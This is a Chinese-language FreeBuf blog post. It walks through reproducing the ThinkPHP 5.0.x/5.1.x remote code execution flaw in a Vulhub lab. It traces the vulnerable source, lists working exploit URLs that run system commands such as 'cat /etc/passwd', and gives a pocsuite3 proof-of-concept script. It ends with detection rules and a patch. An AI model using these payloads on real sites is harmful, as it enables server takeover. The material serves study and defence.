freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulhub漏洞系列:ThinkPHP5 5.0.x5.1.x 远程代码执行漏洞
xssle 2019-12-11 15:32:25 505340

ThinkPHP5 5.0.x/5.1.x 远程代码执行漏洞

本文章适合正在利用vulhub进行漏洞复现的朋友,或者准备学习漏洞复现的朋友,大佬就可以绕过了,写的比较基础。我也是一个小白,总结一下对于vulhub的使用技巧和一些漏洞原理,也分享一些自己觉得好用的方法给大家,欢迎大家帮我补充,有什么好用的技巧也可以分享一下,大家共同进步。本篇有自己的理解,如果有什么不对的或者不好的地方希望大家不要喷我,但是欢迎帮我指正。最后希望大家可以关注我的专栏。

1.漏洞描述:

ThinkPHP是一款运用极广的PHP开发框架。其版本5.0.x/5.1.x中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

2.漏洞原理:

这里选择对vulhub中 thinkphp5.0.20版本漏洞进行分析,关键函数开头。

由于没有在配置文件定义任何路由,所以默认按照方式1解析调度。如果开启强制路由模式,会直接抛出错误。进入docker实例环境中查看thinkphp源代码如下。

thinkphp/library/think/App.php

image.png

可以看到tp5在解析URL的时候只是将URL按分割符分割,并没有进行安全检测。继续往下看

thinkphp/library/think/Route.php




image.png

在攻击时注意使用一个已存在的module,否则会抛出异常,无法继续运行。
thinkphp/library/think/App.php
image.png

此处在获取控制器名时直接从之前的解析结果中获取,无任何安全检查。
thinkphp/library/think/App.phpimage.png

在这里对控制器类进行实例化,再往下看。
thinkphp/library/think/App.php

image.png

根据传入的name获取对应的类,如果存在就直接返回这个类的一个实例化对象

thinkphp/library/think/Loader.php

image.png查看getModuleAndClass方法:可以看到如果控制器名中有\,就直接返回。

thinkphp/library/think/Loader.phpimage.png回到thinkphp/library/think/App.phpmodule方法,正常情况下应该获取到对应控制器类的实例化对象,而我们现在得到了一个\think\App的实例化对象,进而通过url调用其任意的public方法,同时解析url中的额外参数,当作方法的参数传入。

thinkphp/library/think/App.phpimage.png

3.漏洞利用:

进入我们的vulhub目中搭建漏洞环境

注意我们这里的thinkphp版本为

thinkphp 5.0.20

image.png

打开浏览器

http://your-ip/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

image.png

我们尝试去执行命令

http://your-ip/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /etc/passwd

http://your-ip/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cat /etc/passwdimage.png

突然间想起来在之前的攻防演练中,利用的thinkphp版本为5.1

thinkphp 5.1

image.png

利用的payload的为

http://your-ip/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls -al 

4.POC编写:

对于payload的总结

5.1.x php版本>5.5
http://your-ip/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://your-ip/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
http://your-ip/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=();?>



5.0.x php版本>=5.4
http://your-ip/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

以上该payload来源于https://xz.aliyun.com/t/3570

但是在vulhub环境中,thinkphp版本为5.0.20,对于5.0.x的payload并不能执行成功,在该版本推荐大家使用以下payload


5.0.20  php版本>=5.4
http://your-ip/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1   
http://your-ip/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1   
from collections import OrderedDict
import requests
from pocsuite3.api import Output, POCBase, OptString, register_poc, POC_CATEGORY, OptDict


class thinkphpPOC(POCBase):
vulID = '004' # ssvid
version = '1.0'
author = ['xssle']
vulDate = '2019-10-09'
createDate = '2019-10-09'
updateDate = '2019-10-09'
references = ['https://www.seebug.org/vuldb/ssvid-97181']
name = 'thinkphp 5.x全版本任意代码执行'
appPowerLink = 'http://www.thinkphp.cn/topic/60390.html'
appName = 'thinkphp'
appVersion = '5.x'
vulType = 'Code execution'
desc = '''
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程代码执行漏洞。
'''
samples = []
install_requires = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
protocol = POC_CATEGORY.PROTOCOL.HTTP

def _verify(self):
result = {}
exp = [
"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1",
"/index.php?s=/index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1",
"/index.php?s=InDeX/think\\App/invoKeFunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1""
"/index.php?s=index/think\\request/input?data[]=phpinfo()&filter=assert",
"/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()",
"/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()"
]
get_headers = {
'Proxy-Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}
vul_url = self.url
if vul_url.endswith('/'):
vul_url = vul_url[:-1]
if "http://" in vul_url:
host = vul_url[7:]
elif "https://" in vul_url:
host = vul_url[8:]
else:
host = vul_url
get_headers['Host'] = host
for i in exp:
payloadurl = vul_url + i
r = requests.get(url=payloadurl, headers=get_headers)
try:
if r.status_code == 200 and "<title>phpinfo()</title>" in r.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = payloadurl
return self.parse_output(result)
except Exception as ex:
pass


def _attack(self):
return self._verify()


def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output


register_poc(thinkphpPOC)


image.png

5.漏洞规则总结:

在漏洞规则检测方面要注意大小写和斜杠绕过,要利用正则进行全方面的匹配

规则
s=/Index/\think\app/invokefunction
s=Index/\think\app/invokefunction
s=index/\think\app/invokefunction
s=index/think\app/invokefunction
s=index/think\request
s=index/\think\template\driver\file

6.漏洞防御:

直接添加补丁,在thinkphp5.0版本的thinkphp/library/think/App.php554行,thinkphp5.1版本的thinkphp/library/think/route/dispatch/Url.php63行添加如下代码:

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
       throw new HttpException(404, 'controller not exists:' . $controller);
   }


# 漏洞分析 # 漏洞利用 # ThinkPHP
本文为 xssle 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
xssle的安全小屋
xssle LV.1
这家伙太懒了,还未填写个人描述!
  • 11 文章数
  • 69 关注者
Webshell免杀的一些思考
2020-11-01
php中可能会产生安全问题一些函数
2020-04-29
sqlmap源码简析(一)
2020-03-31
文章目录